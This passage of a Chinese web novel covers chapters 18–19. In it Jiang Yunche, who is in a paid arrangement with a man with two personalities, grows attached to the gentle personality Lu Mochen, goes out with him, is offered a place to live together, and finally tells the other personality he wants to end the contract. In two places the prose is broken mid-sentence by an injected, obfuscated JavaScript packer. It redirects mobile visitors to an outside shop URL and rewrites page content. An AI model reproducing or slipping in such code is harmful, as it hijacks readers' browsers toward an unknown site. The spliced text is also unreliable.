就算某一天室友发现他被包了,他也觉得没什么,毕竟这是自己的选择,他不能改变别人的看法,可今天不知道为什么,江云澈忽然有点难受。 手机又震了一下,陆墨辰连着发了好几条信息。 【还疼吗?】 【我查了,说第一次都会难受几天】 【我给你买了药,不过宿舍应该不方便吧,要不要出来住,我订酒店】 江云澈看着那几条消息,忽然蹲了下来。 夜风吹过操场,远处有人在打篮球,欢呼声一阵一阵传过来。 而他蹲在宿舍楼下,看着聊天框,很久没动。 因为他忽然意识到一件事。 最危险的,从来不是萧墨宸的偏执,而是陆墨辰真的对他太好了,好到他开始忍不住去想。 如果陆墨辰不是二号人格就好了。 如果这一切不是交易就好了。 如果—— 他真的喜欢自己呢? 18. 第 18 章 台风过后,魔都气温冷了不少。 江云澈在学校便利店里转了快二十分钟,最后停在挂饰区前,伸手拿下一条毛绒绒的帽子围巾。 白色的,两只长耳朵垂下来,戴上以后很像某种小狗。 他低头看了几秒。 昨天晚上,陆墨辰给他发过一个表情包,也是这个。 江云澈其实不太理解这种东西有什么可爱的。 他从小到大没怎么喜欢过玩偶,也不追动漫,对这种毛绒绒的小东西更没兴趣,以前他只觉得这些东西贵、占地方、没必要。 可陆墨辰好像很喜欢。 无论是他书包上的挂件,还是鬼屋时随手买的小公仔,对方每次看到,嘴角都会压不住地弯一下。。 尤其是前天,在宝格丽那间酒店里。 陆墨辰抱着他,低头蹭他耳朵的时候,声音很低地说过一句: “小江真的好像小狗。” 想到这里,江云澈耳根忽然有点热。 他下意识把帽子往购物篮里一丢,动作快得像怕被谁发现。 丢进去以后,他又低头看了一眼。 两只耳朵垂在购物篮边缘,傻乎乎的。 ……陆墨辰应该会喜欢。 直到走去结账的时候,他脑子里都还在反复冒一个念头。 如果自己变成陆墨辰喜欢的样子,他会不会,就更喜欢自己一点? 这个念头冒出来的时候,江云澈自己都怔了一下。 他以前从来不会因为谁的喜好,特意去改变什么。 陆墨辰只是萧墨宸的人格之一,如果有一天,病好了,双重人格就会消失。 他不知道是陆墨辰彻底消失,还是萧墨宸会记得这些。 他只知道。 如果陆墨辰的结局注定是消亡的话,自己好像已经开始有点舍不得了。 收银台“滴”地扫过条码。 江云澈回过神,把帽子装进袋子里,低头轻轻呼出一口气。 算了。 反正只是戴一下而已,又不会少块肉。 . 他一如往常去南门校门口等,只是这次,陆墨辰的车比他先到。 灰色帕拉梅拉停在路边,车窗刚降下来,里面的人就已经笑着朝他招手。 “小江!”那语气亮得像藏不住高兴。 江云澈拉开车门坐进去。 “辰哥。” “快上来,今天降温了,我给你带了热可可。” 陆墨辰把保温杯递过去。 保温杯还是温的,江云澈接过来的时候,指尖被暖了一下。 他忽然意识到,陆墨辰好像总会提前替他想到很多事。 陆墨辰的另一只手自然地越过中控台替他系安全带。 距离瞬间拉近,江云澈甚至能闻到他身上淡淡的木质香,还有一点很轻的薄荷味。 不知道是不是昨晚接吻太久的后遗症,他现在只要一靠近陆墨辰,就会不自觉想起宝格丽那张床。 想到这里,他立刻低头喝了口热可可。 耳根发热,不知道是不是降温的原因,但陆墨辰却还在看他。 准确来说,从他上车开始,对方的视线就没怎么离开过。 “你看路。”江云澈被盯得有点不自在。 陆墨辰却低低笑了一声,“没办法。我看网上说刚谈上恋爱的人都这样。” 江云澈动作一顿,热气一下从耳根烧到了脖子。 他低头喝了口热可可,没说话。 他其实不知道,恋爱里是不是都会这样。 只是前天晚上以后,陆墨辰好像真的越来越黏他了。 偏偏对方自己完全没意识到一样,心情明显很好,连眼角都带着笑。 江云澈低头拧紧保温杯,借着整理围巾的动作,把帽子翻上去扣在头顶。 两只长耳朵一下垂了下来,随着动作轻轻晃了晃。 车厢安静了几秒,直到某个不经意的一瞥,陆墨辰直接愣住了。 视线落在那两只白色耳朵上,眼睛几乎是瞬间亮起来的,像被什么东西正中心口。 “……小江。”他声音都低了,“你今天,怎么这么……”喉结一滑,“怎么这么可爱。” 江云澈本来还装得镇定,被他这么直白一说,反而有点顶不住。 “便利店随便买的。” “是吗?”陆墨辰明显不信。 他伸出手,轻轻碰了碰其中一只耳朵,指腹压在绒毛上,很轻地捻了一下。 “软的。” 他说这话的时候,眼神都没从江云澈身上移开。 摸完以后,像是还有点舍不得松手,指腹又轻轻蹭了一下。 江云澈耳根发热,却没躲,只低头继续喝热可可,假装什么都没发生。 “……质量应该一般,洗几次估计就塌了。” “那我给你买个好的。” “不用。”江云澈下意识拒绝,“这个就够了。” 陆墨辰看着他笑,那笑意藏都藏不住。 江云澈忽然有点移不开视线。 他第一次这么清晰地感觉到,原来陆墨辰真的很好哄。 车缓缓开出去,外面的冷风被车窗隔绝。 暖气、可可的甜味,还有陆墨辰时不时看过来的视线,把整个车厢都烘得发热。 江云澈低头摸了摸那只耳朵。 原来只要顺着一点陆墨辰的喜好,他就会这么开心。 . “小江,今天不去游泳馆了。” 车开出去一段后,陆墨辰忽然开口。 “我查到一家新开的盲盒店,好像挺火的,带你去玩?” 江云澈一愣。盲盒店?陆墨辰好像真的很喜欢这些东西。 “好啊。”他点点头,反正比游泳馆好。 身上那些痕迹还没消,换衣服也不方便。 . 盲盒店开在一条网红街二楼。 门口排着长队,玻璃墙贴满动漫海报,里面几乎全是年轻人。 江云澈戴着玉桂狗帽子站在人群里,总有人忍不住偷偷看他。 还有女生压低声音:“那个男生好可爱,耳朵好想rua。” 旁边还有人偷偷举手机拍照。 江云澈被看得有点不自在,下意识想摘帽子。 陆墨辰却已经先一步站到他前面,把那些视线挡得严严实实。 “别摘。” 他低头看着那两只耳朵,嘴角压了半天还是没压住。 “很好看。” 江云澈动作顿了一下,最后还是没摘。 进店以后,陆墨辰带着他停在一排盲盒机前,说: “这个系列挺可爱的,里面有只小狐狸和兔子,尼克和朱迪。” 疯狂动物城?他刷到过,但江云澈其实不怎么玩这些东西。 以前也舍不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552828|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花钱买,但陆墨辰明显很熟,陪着他慢慢挑,还低头替他拆包装。 前面几个拆出来的都是普通款,直到最后一个。 盒子打开的时候,一只橘红色的小狐狸侧身躺在里面,尾巴翘着,嘴里还叼了片叶子,看起来有点痞。 “是尼克。”江云澈眼睛一下亮了,他下意识举起来给陆墨辰看。 陆墨辰看着那只狐狸,却忽然笑了。 “很适合你。” “为什么?” “狡猾。”他说完顿了顿。“还有点可爱。” “……我哪有狡猾。” 江云澈低头翻着狐狸底座上的编号,小声反驳。 下一秒。 耳边忽然传来很轻的呼吸声,陆墨辰不知道什么时候凑近了。 视线从他手里的狐狸,一点点移到他头顶那两只玉桂狗耳朵上。 然后低下头,飞快地咬住了其中一只耳朵尖,轻轻往他的方向扯了一下。 江云澈整个人瞬间僵住,耳朵根一下烧了起来。 “你、你干嘛!” 他猛地偏头,把耳朵从陆墨辰嘴里救出来。 陆墨辰耳尖红得厉害,眼神也明显飘了,可嘴角却压不住。 像是高兴过头以后,下意识做了什么。 “……没忍住。” 他说完以后,像是也意识到自己刚刚干了什么,视线都飘了一下。 可落在那只耳朵上时,又还是没舍得移开。 江云澈:“……” 空气一下烫得厉害,周围明明很吵,可他却只能听见自己的心跳声。 脑海里忽然又浮现出宝格丽那晚。 陆墨辰压着他,低头舔他耳朵的时候,温柔的触感透过皮肤传过来,呼吸也是这样烫。 …… 原来不止他一个人会记得。 . 陆墨辰最后还是被江云澈推开了。 只是推开以后,两个人之间的距离却没拉远多少。 盲盒店里暖气很足,人群吵吵闹闹,偏偏他们这一小块地方像忽然安静下来。 江云澈低头捏着那只狐狸,耳朵根烫得厉害。 他甚至不太敢抬头。 因为只要一对上陆墨辰的视线,他就会想起刚刚那一下。 ……太犯规了。 偏偏陆墨辰自己也没比他好到哪里去。 耳尖红着,站在旁边,像做错事的大型犬,眼神却又控制不住地往那两只耳朵上飘。 过了几秒,他忽然很轻地开口: “真的不能再咬一下吗?” 江云澈:“……” 他猛地抬头,不可置信地看着陆墨辰。 陆墨辰像是也觉得自己这句话太离谱,说完以后立刻偏开视线,低咳了一声。 “我开玩笑的。” 可那副明显还很想咬的样子,根本一点说服力都没有。 江云澈耳根更热了。 他忽然有点后悔今天戴这个出来。 可与此同时,胸口又有种说不上来的发软。 因为陆墨辰现在的样子,真的很像一只终于得到喜欢玩具的大金毛。 而且,还是很好哄的那种。 江云澈看着他泛红的耳尖,脑子里忽然冒出一个有点过分的念头。 ……要是给他套条狗绳,会不会也很听话。 下一秒。 他自己先愣住了。 19. 入v公告 陆墨辰出去了,他在原地等了几分钟。 盲盒店里人很多,背景音乐很大,灯光也很亮。 江云澈低头摆弄着手里那只小狐狸,指尖无意识地摸着它翘起来的尾巴。 “小江。” 一道呼唤,他抬起头。 陆墨辰从洗手间方向走回来,耳尖还是红的,像刚刚降温失败。 只是手里多了个东西,一条白色毛绒尾巴。 和他头上的玉桂狗耳朵明显是同系列,尾巴尖还带着一点蓬松的卷毛,用别针固定,可以直接别在裤腰上。 江云澈:“……” 他忽然有种不太好的预感。 果然。 陆墨辰走到他面前,低头看了看他头顶的耳朵,又看了看手里的尾巴,眼底那点笑意越来越明显。 “低一下头。”他说。 “干嘛?” “给狐狸小狗狗装尾巴。” “……” 江云澈还没来得及拒绝,对方已经绕到了他身后。 他背脊瞬间绷紧。 陆墨辰的手落在他腰后,隔着衣服碰到裤腰的位置,动作其实很规矩,可偏偏因为太近,存在感变得格外明显。 “咔哒”一声,尾巴别好了。 陆墨辰绕回他面前,低头看了一眼,忽然笑了。 “小江。” “嗯?” “狐狸小狗狗长齐了。” 江云澈耳根一下烧起来,他僵着脖子往后看,只能看见一点白色尾巴尖从腰侧晃出来。 现在好了,头上有耳朵,后面还有尾巴,彻底像了。 “……这什么东西啊。” “配套的。”陆墨辰理直气壮,“而且我们cos圈有规定,绝对不能ooc。” 江云澈:“你什么时候又成cos圈的了?” “刚刚。” “……” . 从盲盒店出来的时候,外面天已经黑了。 街道灯光亮起来,人流依旧很多。 江云澈一路都觉得不自在,尤其那条尾巴随着走路会轻轻晃,时不时蹭到腿侧,弄得人发痒。 他忍了半天,还是没忍住伸手按了一下。 陆墨辰立刻回头,“怎么了?” “没什么。”江云澈迅速松手。 陆墨辰盯着他看了两秒,忽然低笑了一声。 “是不是尾巴蹭得难受?” “……”被直接说中了,江云澈脸一下红了,“没有。” 陆墨辰拖长尾音“哦”了一声,一副明显不信的样子。 偏偏他今天心情好得过分,一路都在看江云澈。 有时候看耳朵,有时候看尾巴。 看得江云澈耳根越来越热。 好烦。 . 上车以后,江云澈终于可以把帽子摘了下来。 只是尾巴摘到一半,动作忽然停住。 因为陆墨辰刚好从另一边坐进来。 视线扫过来,落在他腰后那点白色尾巴尖上,明显怔了一下。 江云澈莫名顿了顿,然后又默默把尾巴放了回去。 ……算了。 反正陆墨辰看起来真的很喜欢。 想到这里,他胸口忽然有种说不上来的发软。 . 回学校的路上,陆墨辰心情明显一直很好。 等红灯的时候,还会伸手捏一下他头顶那只耳朵。 “小江。” “嗯?” “你今天好乖。” 江云澈耳根一热,“我什么时候不乖了?” “平时也乖。”陆墨辰看着他笑,“但今天特别像我家的。” “……” 江云澈总觉得这话怎么听怎么怪。 偏偏陆墨辰自己完全没意识到一样,还在笑,像只终于把喜欢的小狗叼回窝的大型犬。 车停在学校门口的时候,已经快九点了。 陆墨辰却没立刻让他下车。 而是低头,从储物格里拿出一张黑色门禁卡,放进了江云澈手里。 看起来像某个高奢小区的。 江云澈一愣,“……辰哥?” 陆墨辰靠在驾驶座上,看着他。 “小江。” “嗯?” “要不要搬出来跟我住?” 空气忽然安静了,江云澈手指微微收紧。 “宿舍门禁太麻烦了。”陆墨辰低声说,“搬过来以后,我能照顾你。” “早上送你上课,晚上接你回来。” “以后回家,就不用总是一个人了。” 他说这些话的时候,语气很自然,自然得像已经想了很久。 江云澈心脏忽然轻轻缩了一下。 同居。 不是之前的翡冷翠水岸别墅,也不是宝格丽酒店。 是把自己真正带进他的生活里。 他忽然想起三年前刚来魔都的时候。 一个人住宿舍,一个人兼职,一个人过年回来。 为了省车费,他连暑假都很少回家。 已经很久没人对他说过“回家”这种话了。 “小江?”陆墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552829|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辰看着他。 江云澈回过神,低头捏着那张门禁卡,声音有点轻。 “我……考虑一下。” 陆墨辰却一下笑了。 “好。” “反正门禁卡先给你。” “以后想来,随时都能来找我。” . 江云澈下车以后,陆墨辰还降下车窗看着他。 “小江。” “嗯?” “晚安。” 他说得特别认真。 “……晚安。” 灰色帕拉梅拉缓缓开走。 江云澈站在原地,看着尾灯消失,才慢慢低头。 掌心里还攥着那张门禁卡。 不知道为什么,他忽然有种很奇怪的感觉。 像是真的有人,正在认真地把他往自己的生活里带。 . 走回学校林荫路的时候,手机忽然震了一下。 是微信电话。 备注只有三个字母:[A703] 江云澈脚步一顿。 从上次被萧墨宸咬以后,他们似乎已经很久没见了。 这个时间,一号找他做什么? 他盯着那个名字看了两秒,还是接了。 电话那头很安静。 安静得只能听见一点很低的呼吸声。 然后,萧墨宸开口了。 “为什么不来。” 声音冷得发沉。 江云澈一怔,下意识看了眼时间。 九点半。 他忽然想起来,今天原本是去翡冷翠做题的日子。 只是陆墨辰一直和他在一起,他自然而然就忘了。 这是第一次。 不是之前那样迟到,而是彻底忘了。 电话那头沉默了两秒,然后是一声冷笑。 “今天陪着你的人是谁。” 江云澈呼吸微微一滞。 “我……”他一时间竟不知道该怎么解释。 萧墨宸却根本没给他说话的机会。 “江云澈。” “你太让我失望了。” 电话被直接挂断。 江云澈站在原地,好半天没动。 晚风吹过来,他低头看着掌心里的门禁卡。 忽然意识到。 自己第一次,不想再顺着萧墨宸了。 然后,他重新拨了回去。 电话立刻接通了,萧墨宸没说话。 江云澈攥紧手机,声音第一次这么坚定。 “萧总。” “我要解约。”